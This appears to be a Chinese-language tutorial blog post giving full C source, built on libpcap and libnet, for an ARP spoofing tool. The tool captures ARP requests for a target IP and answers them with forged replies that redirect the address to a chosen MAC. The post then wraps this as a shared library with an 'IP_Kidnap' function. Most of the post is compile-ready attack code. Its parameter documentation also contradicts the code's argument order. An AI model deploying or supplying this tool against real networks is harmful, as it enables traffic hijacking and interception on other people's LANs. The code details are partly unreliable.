閱讀這篇文章之前,請確認已經熟悉ARP報文偽造的方法,可參考《ARP數據包偽造》。


請看下圖,這是全篇文章的鳥瞰:


要想實現上圖的工作流程,必須實現兩個模塊:
自由的偽造ARP報文
抓取並分析所有流經網卡的數據包

從上圖中可以看出,我們可以通過BPF或者DLPI層實現數據包的抓取分析,而tcpdump的根基——libpcap庫,正是對BPF層的二次封裝實現的C庫,我們將通過它來實現數據包的抓取分析。
關於libpcap的基礎使用,請參考這篇文章《libpcap使用》。
下面給出一個簡單的libpcap過濾抓包的程序:
1 #include <pcap.h>
2 #include <time.h>
3 #include <stdlib.h>
4 #include <stdio.h>
5
6 unsigned char glTargetIP[4]={192,168,1,99};
7 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
8 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
9 char * glNICStr="eth2";
10
11 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
12 {
13 int * id = (int *)arg;
14 unsigned char * src_ip =glTargetIP;
15 unsigned char * src_mac=glRetargetMac;
16 unsigned char * dst_ip =packet+28;
17 unsigned char * dst_mac=packet+22;
18
19 printf("id: %d\n", ++(*id));
20 printf("Packet length: %d\n", pkthdr->len);
21 printf("Number of bytes: %d\n", pkthdr->caplen);
22 printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));
23
24 int i;
25 for(i=0; i<pkthdr->len; ++i)
26 {
27 printf(" %02x", packet[i]);
28 if( (i + 1) % 16 == 0 )
29 {
30 printf("\n");
31 }
32 }
33
34 printf("\n\n");
35 }
36
37 int main ()
38 {
39 char errBuf[PCAP_ERRBUF_SIZE], * devStr;
40 struct bpf_program filter;
41
42 /* get a device */
43 devStr = pcap_lookupdev(errBuf);
44
45 if(devStr)
46 {
47 printf("success: device: %s\n", devStr);
48 }
49 else
50 {
51 printf("error: %s\n", errBuf);
52 exit(1);
53 }
54
55 /* open a device, wait until a packet arrives */
56 pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);
57
58 if(!device)
59 {
60 printf("error: pcap_open_live(): %s\n", errBuf);
61 exit(1);
62 }
63 /* set filter */
64 pcap_compile( device,&filter,glBpfCmd,1,0 );
65 pcap_setfilter(device ,&filter );
66 /* wait loop forever */
67 int id = 0;
68 pcap_loop(device, -1, getPacket, (u_char*)&id);
69
70 pcap_close(device);
71
72 return 0;
73 }
gcc name.c -lpcap -o name
結合ARP報文偽造模塊,下面給出完整實現代碼:
#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>
#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4
unsigned char glTargetIP[4]={192,168,1,99};
char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
char * glNICStr="eth2";
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
{
static char padPtr[18];
libnet_t *net_t = NULL;
char err_buf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t p_tag;
unsigned int i=0;
printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
if(net_t == NULL)
{
printf("libnet_init error\n");
return 2;
}
p_tag = libnet_build_arp(
ARPHRD_ETHER,//hardware type ethernet
ETHERTYPE_IP,//protocol type
MAC_ADDR_LEN,//mac length
IP_ADDR_LEN,//protocol length
arpOp,//op type
(u_int8_t *)src_mac,//source mac addr
(u_int8_t *)src_ip,//source ip addr
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)dst_ip,//dest ip addr
padPtr,//payload
18,//payload length
net_t,//libnet context
0//0 stands to build a new one
);
if(-1 == p_tag)
{
printf("libnet_build_arp error\n");
libnet_destroy(net_t);
return 3;
}
p_tag = libnet_build_ethernet(//create ethernet header
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)src_mac,//source mac addr
ETHERTYPE_ARP,//protocol type
padPtr,//payload
0,//payload length
net_t,//libnet context
0//0 to build a new one
);
if(-1 == p_tag)
{
printf("libnet_build_ethernet error!\n");
libnet_destroy(net_t);
return 4;
}
int res;
i=0;
for(;i<sendTimes;i++)
if(-1 == (res = libnet_write(net_t)))
{
printf("libnet_write error!\n");
libnet_destroy(net_t);
return 5;
}
libnet_destroy(net_t);
return 0;
FAIL:
libnet_destroy(net_t);
return 6;
}
void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
int * id = (int *)arg;
unsigned char * src_ip =glTargetIP;
unsigned char * src_mac=glRetargetMac;
unsigned char * dst_ip =packet+28;
unsigned char * dst_mac=packet+22;
ForgeAndSendArp(glNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1);
printf("id: %d\n", ++(*id));
printf("Packet length: %d\n", pkthdr->len);
printf("Number of bytes: %d\n", pkthdr->caplen);
printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));
int i;
for(i=0; i<pkthdr->len; ++i)
{
printf(" %02x", packet[i]);
if( (i + 1) % 16 == 0 )
{
printf("\n");
}
}
printf("\n\n");
}
int main ()
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr;
struct bpf_program filter;
/* get a device */
devStr = pcap_lookupdev(errBuf);
if(devStr)
{
printf("success: device: %s\n", devStr);
}
else
{
printf("error: %s\n", errBuf);
exit(1);
}
/* open a device, wait until a packet arrives */
pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);
if(!device)
{
printf("error: pcap_open_live(): %s\n", errBuf);
exit(1);
}
/* set filter */
pcap_compile( device,&filter,glBpfCmd,1,0 );
pcap_setfilter(device ,&filter );
/* wait loop forever */
int id = 0;
pcap_loop(device, -1, getPacket, (u_char*)&id);
pcap_close(device);
return 0;
}
這個工具的驗證結果已經在文章鳥瞰圖中給出。
下面,我們將這段代碼封裝成為一個共享庫,以供其他程序調用。
// # gcc name.c -lnet -lpcap -shared -fPIC -o name.so
#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>
#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4
static unsigned char * glTargetIP;
static char * glBpfCmd;
static unsigned char * glRetargetMac;
static char * glListenNICStr;
static char * glSendNICStr;
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
{
static char padPtr[18];
libnet_t *net_t = NULL;
char err_buf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t p_tag;
unsigned int i=0;
printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip);
net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
if(net_t == NULL)
{
printf("libnet_init error\n");
return 2;
}
p_tag = libnet_build_arp(
ARPHRD_ETHER,//hardware type ethernet
ETHERTYPE_IP,//protocol type
MAC_ADDR_LEN,//mac length
IP_ADDR_LEN,//protocol length
arpOp,//op type
(u_int8_t *)src_mac,//source mac addr
(u_int8_t *)src_ip,//source ip addr
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)dst_ip,//dest ip addr
padPtr,//payload
18,//payload length
net_t,//libnet context
0//0 stands to build a new one
);
if(-1 == p_tag)
{
printf("libnet_build_arp error\n");
libnet_destroy(net_t);
return 3;
}
p_tag = libnet_build_ethernet(//create ethernet header
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)src_mac,//source mac addr
ETHERTYPE_ARP,//protocol type
padPtr,//payload
0,//payload length
net_t,//libnet context
0//0 to build a new one
);
if(-1 == p_tag)
{
printf("libnet_build_ethernet error!\n");
libnet_destroy(net_t);
return 4;
}
int res;
i=0;
for(;i<sendTimes;i++)
if(-1 == (res = libnet_write(net_t)))
{
printf("libnet_write error!\n");
libnet_destroy(net_t);
return 5;
}
libnet_destroy(net_t);
return 0;
FAIL:
libnet_destroy(net_t);
return 6;
}
void static getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
int * id = (int *)arg;
unsigned char * src_ip =glTargetIP;
unsigned char * src_mac=glRetargetMac;
unsigned char * dst_ip =packet+28;
unsigned char * dst_mac=packet+22;
ForgeAndSendArp(glSendNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1);
printf("id: %d\n", ++(*id));
printf("Packet length: %d\n", pkthdr->len);
printf("Number of bytes: %d\n", pkthdr->caplen);
printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));
int i;
for(i=0; i<pkthdr->len; ++i)
{
printf(" %02x", packet[i]);
if( (i + 1) % 16 == 0 )
{
printf("\n");
}
}
printf("\n\n");
}
/* args example
static unsigned char glTargetIP[4]={192,168,1,99};
static char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
static unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
static char * glListenNICStr="eth2";
static char * glSendNICStr="eth2";
*/
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
unsigned char * RetargetMac,char * sendNICStr ,char * listenNICStr )
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr;
struct bpf_program filter;
glTargetIP=TargetIP;
glBpfCmd=BpfCmd;
glRetargetMac=RetargetMac;
glSendNICStr=sendNICStr;
glListenNICStr=listenNICStr;
/* get a device */
devStr = pcap_lookupdev(errBuf);
if(devStr)
{
printf("success: device: %s\n", devStr);
}
else
{
printf("error: %s\n", errBuf);
exit(1);
}
/* open a device, wait until a packet arrives */
pcap_t * device = pcap_open_live(glListenNICStr, 65535, 1, 0, errBuf);
if(!device)
{
printf("error: pcap_open_live(): %s\n", errBuf);
exit(1);
}
/* set filter */
pcap_compile( device,&filter,glBpfCmd,1,0 );
pcap_setfilter(device ,&filter );
/* wait loop forever */
int id = 0;
pcap_loop(device, -1, getPacket, (u_char*)&id);
pcap_close(device);
return 0;
}
編譯後的結果:
函數原型:
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
/*
dev : pointer to nic name, "eth0" for example.
src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
dst_mac : similar as src_mac
src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};'
dst_ip : similar as src_ip
arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e.
sendTimes : how many times this packet you want to send
*/
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr )
/*
TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; '
BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";'
RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";'
SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";'
*/